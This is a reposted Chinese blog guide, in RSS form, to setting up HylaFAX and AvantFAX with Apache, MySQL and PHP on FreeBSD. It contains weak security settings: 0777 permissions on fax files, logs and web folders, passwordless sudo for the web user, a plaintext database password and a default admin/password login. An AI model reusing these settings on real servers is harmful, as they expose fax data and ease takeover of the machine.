		<link>http://www.evanjiang.net.cn/archives/1180.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1180.html#comments</comments>
		<pubDate>Mon, 08 Jun 2009 14:41:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1180</guid>
		<description><![CDATA[<p>以下文章也是转摘于网上。有空，俺要实际操作一下，以前，俺一直想弄个EFAX服务器，但可惜，由于文档少，以及时间上不方便，就没再深究，现在有此好文档，有机会，也要好好研究一下。。。</p>
<p>FreeBSD安装选择Minimal+Ports
域名：fax.test.org IP:192.168.1.203 新建用户:vincent 属于wheel组</p>
<p>Handbook
http://cnsnap.cn.freebsd.org/doc &#8230; ndbook/install.html</p>
<p>开启FTP服务</p>
<p>编辑/etc/inetd.conf文件去掉ftp前的注释&#8217;#'。</p>
<p>#vi /etc/inetd.conf
ftp     stream  tcp     nowait  root    /usr/libexec/ftpd       ftpd -l</p>
<p>启动inetd程序
#/etc/rc.d/inetd start</p>
<p>添加vincent用户，用于FTP登录上传文件
#pw useradd vincent -s /bin/csh -d /home/vincent -m -g wheel -h 0</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>使用wget加快ports软件下载</p>
<p>安装wget程序，加快软件包下载速度。
#cd /usr/ports/net/wget
#make install clean</p>
<p>编辑/etc/make.conf
#vi /etc/make.conf</p>
<p>FETCH_CMD=wget -c -t 1
DISABLE_SIZE=yes</p>
<p>MASTER_SITE_OVERRIDE= \
ftp://ftp.tw.freebsd.org/pub/FreeBSD/ports/distfiles/ \
ftp://ftp.freebsdchina.org/pub/FreeBSD/ports/distfiles/</p>
<p>设置使用ftp.tw.freebsd.org为主下载站点，加快Package软件下载，编辑用户目录下的.cshrc文件加入</p>
<p>#vi .cshrc [...]]]></description>
			<content:encoded><![CDATA[<p>以下文章也是转摘于网上。有空，俺要实际操作一下，以前，俺一直想弄个EFAX服务器，但可惜，由于文档少，以及时间上不方便，就没再深究，现在有此好文档，有机会，也要好好研究一下。。。</p>
<p>FreeBSD安装选择Minimal+Ports<br />
域名：fax.test.org IP:192.168.1.203 新建用户:vincent 属于wheel组</p>
<p>Handbook<br />
http://cnsnap.cn.freebsd.org/doc &#8230; ndbook/install.html</p>
<p>开启FTP服务</p>
<p>编辑/etc/inetd.conf文件去掉ftp前的注释&#8217;#'。</p>
<p>#vi /etc/inetd.conf<br />
ftp     stream  tcp     nowait  root    /usr/libexec/ftpd       ftpd -l</p>
<p>启动inetd程序<br />
#/etc/rc.d/inetd start</p>
<p>添加vincent用户，用于FTP登录上传文件<br />
#pw useradd vincent -s /bin/csh -d /home/vincent -m -g wheel -h 0</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>使用wget加快ports软件下载</p>
<p>安装wget程序，加快软件包下载速度。<br />
#cd /usr/ports/net/wget<br />
#make install clean</p>
<p>编辑/etc/make.conf<br />
#vi /etc/make.conf</p>
<p>FETCH_CMD=wget -c -t 1<br />
DISABLE_SIZE=yes</p>
<p>MASTER_SITE_OVERRIDE= \<br />
ftp://ftp.tw.freebsd.org/pub/FreeBSD/ports/distfiles/ \<br />
ftp://ftp.freebsdchina.org/pub/FreeBSD/ports/distfiles/</p>
<p>设置使用ftp.tw.freebsd.org为主下载站点，加快Package软件下载，编辑用户目录下的.cshrc文件加入</p>
<p>#vi .cshrc     //编辑完后记得重新登录<br />
setenv PACKAGEROOT      ftp://ftp.tw.freebsd.org</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; </p>
<p>HylaFAX    ( WebSite http://www.hylafax.org/ )</p>
<p>HylaFAX是一个基于C/S 架构,企业级的收发传真系统，高效稳固。局域网中只要有一台连接Modem的HylaFAX服务器，就能为局域网所有用户提供传真服务。</p>
<p>软件安装</p>
<p>Package方法安装<br />
#pkg_add -r hylafax</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/comms/hylafax<br />
#make install clean</p>
<p>软件设置</p>
<p>#faxsetup<br />
<span id="more-1180"></span><br />
Should an entry be added for the FaxMaster to /etc/aliases [yes]?<br />
应该在/etc/aliases中增加一个条FaxMaster记录[yes]? yes</p>
<p>Users to receive fax related mail [root]?<br />
输入接收传真相关信息的Email用户[root]? vincent</p>
<p>Are these ok [yes]?<br />
确认以上信息是否正确[yes]? yes</p>
<p>Country code [1]?<br />
国家代码[1]? 0086</p>
<p>Area code []?<br />
区号[]? 0750</p>
<p>Long distance dialing prefix [1]?<br />
长途拨号前缀 [1]? 0</p>
<p>International dialing prefix [011]?<br />
国际拨号前缀 [001]? 0750</p>
<p>Dial string rules file (relative to /var/spool/hylafax)["etc/dialrules"]?<br />
拨号规则文件( /var/spool/hylafax )["etc/dialrule"]? 按enter默认</p>
<p>Tracing during normal server operation [1]?<br />
追踪正常服务程序[1]? 1</p>
<p>Default tracing during send and receive session [0xfffffffff]?<br />
默认追查在发送和接收 session [0xfffffffff]? 按enter默认</p>
<p>Continuation cover page (relative to /var/spool/hylafax) []?<br />
传真封面页所在目录 ( /var/spool/hylafax )[]? 按enter默认</p>
<p>Timeout when converting PostScript documents (secs) [180]?<br />
转换PostScript文件逾时时间[180]? 180</p>
<p>Maximum number of concurrent jobs to a destination[1]?<br />
一个目的地最大数量的并行工作[1]? 1</p>
<p>Define a group of modems []<br />
定义一组调制解调器[] 按enter默认</p>
<p>Time of day restrictions for outbound jobs ["Any"]?<br />
一天中限制传真外发时间["Any"]? 按enter默认</p>
<p>Pathname of destination controls file (relative to /var/spool/hylafax) []?<br />
控制文件的路径( /var/spool/hylafax )[]? 按enter默认</p>
<p>Timeout before purging a stale UUCP lock file (secs) [30]<br />
超时前清除旧的UUCP锁定文件[30]？30</p>
<p>Max number of pages to permit in an outbound job [0xffffffff]?<br />
允许在出站的最大页数[0xffffffff]? 按enter默认</p>
<p>Syslog facility name for ServerTracing messages [daemon]?<br />
系统日志跟踪记录程序[daemon]? 按enter默认</p>
<p>Are these ok [yes]?<br />
确认以上信息是否正确[yes]? yes</p>
<p>Should I restart the HylaFAX process [yes]?<br />
应该重新启动HylaFAX进程[yes]? yes</p>
<p>You do not appear to have any modem configured for use. Modems are<br />
configured for use with HylaFax with the faxaddmodem command.<br />
Do you want to run faxaddmomdem to configure a modme [yes]?<br />
您似乎没有任何调制解调器配置为使用。调制解调器配置为使用HylaFax与faxaddmodem命令。<br />
你想运行faxaddmomdem配置modme[yes]? yes</p>
<p>Serial port that modem is connected to []?<br />
调制解调器连接到那个串行端口[]? ttyd0    //我的是com1,所以是ttyd0；请根据实际配置。</p>
<p>country code[1]<br />
国家代码[1]? 0086</p>
<p>Area code [415]?<br />
区号[]? 0750</p>
<p>Phone number of fax modem [+1,9999.5555.1212]?<br />
传真的电话号码[+1,9999.5555.1212]? 8607501234567</p>
<p>Local Identifications string (for TS/CIG) ["NothingEtup"]?<br />
本地传真机标识(for TS/CIG) ["NothingEtup"]? FreeBSD.org</p>
<p>Long distance dialing prefix [1]?<br />
长途拨号前缀 [1]? 0</p>
<p>International dialing prefix [011]?<br />
国际拨号前缀 [001]? 0750</p>
<p>Dial string rules file (relative to /var/spool/hylafax) [etc/dialrules]?<br />
拨号规则文件( /var/spool/hylafax )["etc/dialrule"]? 按enter默认</p>
<p>Tracing during normal server operation [1]?<br />
追踪正常服务程序[1]? 1</p>
<p>Tracing during send and receive sessions [11]?<br />
追踪发送和接收 session [11]? 按enter默认</p>
<p>Protection mode for received facsimile [0600]?<br />
收到传真的文件权限[0600]？ 0777</p>
<p>Protection mode for session logs [0600]?<br />
记录文件的档案权限[0600]? 0777</p>
<p>Protection mode for ttyd0 [0600]?<br />
端口的访问权限[0600]? 0777</p>
<p>Rings to wait before answering [1]?<br />
响铃几声后，开始接受传真[1]? 2</p>
<p>Modem speaker volume [off]?<br />
Modem的喇叭音量[off]? on</p>
<p>Command line arguments to getty program ["-h %l dx_%s"]?<br />
接收传真的命令行参数["-h %l dx_%s"]? 按enter默认</p>
<p>Pathname of TSI access control list file (relative to /var/spool/hylafax)[""]?<br />
访问控制列表的TSI文件路径( /var/spool/hylafax )[""]? 按enter默认</p>
<p>Pathname of Caller-ID access control list file (relative to /var/spool/hylafax)[""]?<br />
来电Caller-ID访问控制列表文件路径( /var/spool/hylafax )[""]? 按enter默认</p>
<p>Tag line font file (relative to /var/spool/hylafax) [etc/lutRS18.pcf]?<br />
标记行字体文件( /var/spool/hylafax ) [etc/lutRS18.pcf]? 按enter默认</p>
<p>Tag line form string ["From %%1|%c|Page %%P of %%T"]?<br />
标记行字符串形式["From %%1|%c|Page %%P of %%T"]? 按enter默认</p>
<p>Time before purging a stale UUCP lock file (secs) [30]?<br />
超时前清除旧的UUCP锁定文件[30]？30</p>
<p>Hold UUCP lockfile during inbound data calls [Yes]?<br />
当传真进来时，保留UUCP 设定文件[Yes]? yes</p>
<p>Hold UUCP lockfile during inbound voice calls [Yes]?<br />
当语音进来时，保留UUCP 设定文件[Yes]? yes</p>
<p>Percent good lines to accept during copy quality checking [95]?<br />
线路好的时候，在什么百份比时进行检查[95]? 95</p>
<p>Max consecutive bad lines to accept during copy quality checking [5]?<br />
线路不好的时候，在什么百份比时进行检查[5]? 5</p>
<p>Max number of pages to accept in a received facsimile [25]?<br />
每次传真进来的最大可接收页数[25]? 25</p>
<p>Syslog faxility name for ServerTracing messages [daemon]?<br />
系统日志跟踪记录程序[daemon]? 按enter默认<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
Set UID to 0 to manipulate CLOCAL [""]?<br />
设置的UID为0操作CLOCAL[""]? 按enter默认</p>
<p>Use available priority job scheduling mechanism [""]?<br />
使用现有的优先工作调度机制[""]? 按enter默认</p>
<p>Are these ok [yes]?<br />
确认以上信息是否正确[yes]? yes</p>
<p>Probing for best speed to talk to modem：38400<br />
探索最佳速度交谈调制解调器： 38400</p>
<p>How should it be configured [1]?<br />
应如何配置[1]? 1</p>
<p>DTE-DCE flow control scheme [default]?<br />
流量控制方案[default]? 按enter默认</p>
<p>Are these ok [yes]?<br />
确认以上信息是否正确[yes]? yes</p>
<p>Do you want to run faxaddmodem to configure another modem [yes]?<br />
你想运行的另一个faxaddmodem配置调制解调器[yes]? no</p>
<p>Should I run faxmodem for each configured modem [yes]?<br />
应该为每个运行faxmodem配置调制解调器[yes]? yes</p>
<p>Done verifying system setup.<br />
完成核查系统设置。</p>
<p>编辑/etc/ttys 文件 ，查找“ttyd0&#8243;字节，修改为下面值(如果没有找，就在最后加上）</p>
<p>#vi /etc/ttys<br />
ttyd0   &#8220;/usr/local/sbin/faxgetty&#8221;      dialup  on</p>
<p>设置开机HylaFax服务自动运行</p>
<p>#cp /usr/local/etc/rc.d/hylafax.sh.sample /usr/local/etc/rc.d/hylafax.sh</p>
<p>启动HylaFax服务</p>
<p>#/usr/local/etc/rc.d/hylafax.sh start</p>
<p>HylaFax命令</p>
<p>faxstat -s （显示队列中等待发送的传真）<br />
faxstat -d （显示已发送的传真）<br />
faxstat -r （显示已接收的传真）<br />
faxrm number_of_job    (从队列中去删除一个传真)<br />
faxqclean    (清除缓冲池)<br />
faxcron        (显示统计结果)</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>AvantFAX (WebSite http://www.avantfax.com )</p>
<p>AvantFAX是一种Web应用管理传真的HylaFAX 服务器。<br />
AvantFAX允许用户在任何平台上，来查看和发送传真，而无需安装特殊的软件。它还允许管理员管理用户，他们的权限，传真线，传真类等<br />
AvantFAX可以从本地网络，并通过互联网远程使用标准的网络设备</p>
<p>安装说明: http://www.avantfax.com/install.php</p>
<p>安装AvantFAX之前要先安装以下软件：</p>
<p>HylaFAX 4.4 or HylaFAX EE 3<br />
PHP 5<br />
PHP PEAR 5 including MDB2_driver_mysql, Mail and Mail_Mime<br />
PECL FileInfo<br />
PHP mbstring &#8211; for improved UTF-8 sorting support (optional)<br />
PHP MySQL 5<br />
MySQL server 4.1.12 or better (see Important Notes below)<br />
Apache<br />
ImageMagick<br />
ghostscript<br />
libtiff<br />
netpbm-progs<br />
libungif<br />
sudo<br />
sendmail/postfix/exim/qmail or use an external SMTP server<br />
cups/lpr and psutils<br />
expect</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
apache</p>
<p>Package方法安装<br />
#pkg_add -r apache22</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/www/apache22<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
mysql51-server</p>
<p>Package方法安装<br />
#pkg_add -r mysql51-server</p>
<p>或者</p>
<p>Ports方法安装</p>
<p>#cd /usr/ports/databases/mysql51-server<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
PHP5</p>
<p>Ports方法安装<br />
#cd /usr/ports/lang/php5<br />
#make install clean<br />
//安装时记得选上第三项“APACHE Build Apache module&#8221;支持</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
PHP5-session</p>
<p>Package方法安装<br />
#pkg_add -r php5-session</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/www/php5-session<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
php5-mysql</p>
<p>Package方法安装<br />
#pkg_add -r php5-mysql</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/databases/php5-mysql<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-DB</p>
<p>Package方法安装<br />
#pkg_add -r pear-DB</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/databases/pear-DB<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-MDB2_Driver_mysql</p>
<p>Ports方法安装<br />
#cd /usr/ports/databases/pear-MDB2_Driver_mysql<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-Auth</p>
<p>Package方法安装<br />
#pkg_add -r pear-Auth</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/security/pear-Auth<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-Auth_SASL</p>
<p>Package方法安装<br />
#pkg_add -r pear-Auth_SASL</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/security/pear-Auth_SASL<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-Net_SMTP</p>
<p>Package方法安装<br />
#pkg_add -r pear-Net_SMTP</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/net/pear-Net_SMTP<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-Mail</p>
<p>Package方法安装<br />
#pkg_add -r pear-Mail</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/mail/pear-Mail<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-Mail_Mime</p>
<p>Package方法安装<br />
#pkg_add -r pear-Mail_Mime</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/mail/pear-Mail_Mime<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-Mail_mimeDecode</p>
<p>Package方法安装<br />
#pkg_add -r pear-Mail_mimeDecode</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/mail/pear-Mail_mimeDecode<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-PHP_Compat</p>
<p>Package方法安装<br />
#pkg_add -r pear-PHP_Compat</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/devel/pear-PHP_Compat<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-HTML_Common</p>
<p>Ports方法安装<br />
#cd /usr/ports/devel/pear-HTML_Common<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-HTML_QuickForm</p>
<p>Package方法安装<br />
#pkg_add -r pear-HTML_QuickForm</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/devel/pear-HTML_QuickForm<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pecl-fileinfo</p>
<p>Package方法安装<br />
#pkg_add -r pecl-fileinfo</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/sysutils/pecl-fileinfo<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
php5-mbstring</p>
<p>Package方法安装<br />
#pkg_add -r php5-mbstring</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/converters/php5-mbstring<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
ImageMagick</p>
<p>Package方法安装<br />
#pkg_add -r ImageMagick</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/graphics/ImageMagick<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
smarty</p>
<p>Package方法安装<br />
#pkg_add -r smarty</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/www/smarty<br />
#make install clean<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
netpbm</p>
<p>Package方法安装<br />
#pkg_add -r netpbm</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/graphics/netpbm<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
libungif</p>
<p>Package方法安装<br />
#pkg_add -r libungif</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/graphics/libungif<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
sudo</p>
<p>Package方法安装<br />
#pkg_add -r sudo</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/security/sudo<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
cups</p>
<p>Package方法安装<br />
#pkg_add -r cups</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/print/cups<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
psutils-a4</p>
<p>Package方法安装<br />
#pkg_add -r psutils-a4</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/print/psutils-a4<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
expect</p>
<p>Package方法安装<br />
#pkg_add -r expect</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/lang/expect<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>软件下载：http://www.avantfax.com/download.php</p>
<p>将下载到的软件包通过FTP上传到服务器的vincent目录下,解压:<br />
#cd /home/vincent<br />
#gunzip avantfax-3.1.6.tgz.gz<br />
#tar zxvf avantfax-3.1.6.tgz</p>
<p>移动avantfax Web目录:<br />
#cd avantfax-3.1.6<br />
#mv avantfax /usr/local/www/<br />
#chmod -R 777 /usr/local/www/avantfax/tmp /usr/local/www/avantfax/faxes<br />
#chown -R www:www /usr/local/www/avantfax//includes/templates</p>
<p># ln -s /usr/local/www/avantfax/includes/faxrcvd.php /var/spool/hylafax/bin/faxrcvd.php<br />
# ln -s /usr/local/www/avantfax/includes/dynconf.php /var/spool/hylafax/bin/dynconf.php<br />
# ln -s /usr/local/www/avantfax/includes/notify.php /var/spool/hylafax/bin/notify.php</p>
<p>编辑config.ttyd0 //我的是外置modem,连接电脑com1，所以是ttyd0<br />
# vi /var/spool/hylafax/etc/config.ttyd0</p>
<p>//添加<br />
#<br />
## AvantFAX configuration<br />
#<br />
FaxrcvdCmd:     bin/faxrcvd.php<br />
DynamicConfig:  bin/dynconf.php<br />
UseJobTSI:      true</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
编辑config<br />
# vi /var/spool/hylafax/etc/config</p>
<p>//添加<br />
#<br />
## AvantFAX configuration<br />
#<br />
NotifyCmd:      bin/notify.php</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
备份/替换faxcover程序<br />
#mv /usr/local/bin/faxcover /usr/local/bin/faxcover.old<br />
#ln -s /usr/local/www/avantfax/includes/faxcover.php /usr/local/bin/faxcover</p>
<p>设置HylaFax用户支持Avantfax<br />
#/usr/local/sbin/faxadduser -a pwd www<br />
#/usr/local/sbin/faxdeluser localhost<br />
#/usr/local/sbin/faxdeluser 127.0.0.1<br />
#echo 127.0.0.1 >> /var/spool/hylafax/etc/hosts.hfaxd</p>
<p>编辑Avantfax设置文件<br />
#cd /usr/local/www/avantfax/includes<br />
#cp local_config-example.php local_config.php<br />
#vi local_config.php</p>
<p>$BINARYDIR                      = &#8216;/usr/bin&#8217;;<br />
//修改为:<br />
$BINARYDIR                      = &#8216;/usr/local/bin&#8217;;  </p>
<p>$HYLAFAX_PREFIX                = &#8216;/usr&#8217;;<br />
//修改为:<br />
$HYLAFAX_PREFIX                = &#8216;/usr/local&#8217;; </p>
<p>$WWWUSER                        = &#8216;apache&#8217;;<br />
//修改为:<br />
$WWWUSER                        = &#8216;www&#8217;;</p>
<p>$dft_config_lang            = &#8216;en&#8217;;<br />
//修改为:<br />
$dft_config_lang             = &#8216;zh&#8217;;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
编辑hfaxd.conf<br />
#vi /usr/local/lib/fax/hfaxd.conf</p>
<p>#JobFmt:                &#8220;%-3j %3i %1a %6.6o %-12.12e %5P %5D %7z %.25s&#8221;<br />
//修改为:<br />
JobFmt:         &#8220;%-3j %3i %1a %15o %40M %-12.12e %5P %5D %7z %.25s&#8221;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
软件启动设置:<br />
#vi /etc/rc.conf<br />
//添加<br />
apache22_enable=&#8221;YES&#8221;<br />
mysql_enable=&#8221;YES&#8221;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
apache22设置</p>
<p>#vi /usr/local/etc/apache22/httpd.conf</p>
<p>DirectoryIndex index.html<br />
//修改为:<br />
DirectoryIndex index.html index.php</p>
<p>//添加<br />
AddType application/x-httpd-php .php<br />
AddType application/x-httpd-php-source .phps</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
新建fax.conf<br />
#vi /usr/local/etc/apache22/Includes/fax.conf</p>
<p>//添加<br />
NameVirtualHost *:80<br />
<VirtualHost *:80><br />
    ServerName fax.test.org<br />
    DocumentRoot /usr/local/www/avantfax/</p>
<p>    <Directory "/usr/local/www"><br />
        AllowOverride None<br />
        Options None<br />
        Order allow,deny<br />
        Allow from all<br />
    </Directory></p>
<p></VirtualHost></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
PHP程序连接<br />
#ln-s /usr/local/bin/php /usr/bin/php</p>
<p>启动apache<br />
#/usr/local/etc/rc.d/apapche start</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
avantfax数据导入</p>
<p>启动mysql<br />
#/usr/local/etc/rc.d/mysql start</p>
<p>导入数据<br />
#cd /home/vincent/avantfax-3.1.6<br />
#mysql -uroot < create_user.sql<br />
#mysql -uavantfax -pd58fe49 avantfax < create_tables.sql</p>
<p>--------------------------------------------------------<br />
编辑/etc/crontab<br />
# vi /etc/crontab</p>
<p>//添加<br />
# runs once an hour to update the phone book<br />
0 * * * * root /usr/local/www/avantfax/includes/phb.php<br />
# runs once a day to remove old files<br />
0 0 * * * root /usr/local/www/avantfax/includes/avantfaxcron.php -t 2</p>
<p>---------------------------------------------------------<br />
编辑/usr/local/etc/sudoers<br />
#vi /usr/local/etc/sudoers</p>
<p>//添加<br />
#Defaults    requiretty<br />
www ALL = NOPASSWD: /sbin/reboot, /sbin/halt, /usr/local/sbin/faxdeluser, /usr/local/sbin/faxadduser -u * -p * *</p>
<p>---------------------------------------------------------<br />
打开浏览器（IE/firefox/opera)，打上下面的网址：</p>
<p>http://192.168.1.203/admin/</p>
<p>username: admin<br />
password: password</p>
<p>新建 "传真分类" ---> 新建 &#8220;Modem&#8221; &#8212;> 新建 “用户”<br />
到此，服务器基本上可以使用。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1180.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OpenBSD.Nginx.MySQL.PHP环境搭建手册(网上转摘）</title>
